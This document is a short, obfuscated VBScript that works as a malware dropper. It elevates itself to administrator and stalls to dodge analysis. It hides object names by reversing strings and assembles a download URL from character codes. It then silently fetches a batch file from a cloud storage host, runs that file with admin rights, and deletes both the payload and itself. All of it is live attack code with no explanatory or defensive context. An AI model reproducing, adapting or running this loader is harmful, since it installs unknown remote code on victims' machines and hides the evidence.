If WScript.Arguments.Count = 0 Then
    CreateObject("Shell.Application").ShellExecute "wscript.exe", _
        Chr(34) & WScript.ScriptFullName & Chr(34) & " elev", "", "runas", 1
    WScript.Quit
End If

On Error Resume Next

Dim d1, d2
d1 = DateAdd("s", 9, Now)
Do While Now < d1
    d2 = d2 + 1
Loop

Dim sh, fso
Set sh  = CreateObject(StrReverse("llehS.tpircSW"))
Set fso = CreateObject(StrReverse("tcetbjO.metsySeliF.gnitpircS"))

Dim L1, L2, L3, L4, L5, L6, url
L1 = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47)
L2 = Chr(115) & Chr(116) & Chr(111) & Chr(114) & Chr(97) & Chr(103) & Chr(101) & Chr(46) & Chr(103) & Chr(111) & Chr(111) & Chr(103) & Chr(108) & Chr(101) & Chr(97) & Chr(112) & Chr(105) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109)
L3 = Chr(47) & Chr(55) & Chr(55) & Chr(55) & Chr(119) & Chr(105) & Chr(110) & Chr(55) & Chr(55) & Chr(55) & Chr(47)
L4 = Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(101) & Chr(114) & Chr(46) & Chr(98) & Chr(97) & Chr(116)
url = L1 & L2 & L3 & L4

Dim bat
bat = sh.ExpandEnvironmentStrings("%TEMP%") & "\downloader.bat"

sh.Run "curl -L -s -o " & Chr(34) & bat & Chr(34) & " " & Chr(34) & url & Chr(34), 0, True

If fso.FileExists(bat) Then
    sh.Run "powershell -Command ""Start-Process -FilePath '" & bat & "' -Verb RunAs -Wait""", 0, True
End If

WScript.Sleep 2000

sh.Run "cmd /c del /f /q " & Chr(34) & bat & Chr(34), 0, False
sh.Run "cmd /c del /f /q " & Chr(34) & WScript.ScriptFullName & Chr(34), 0, False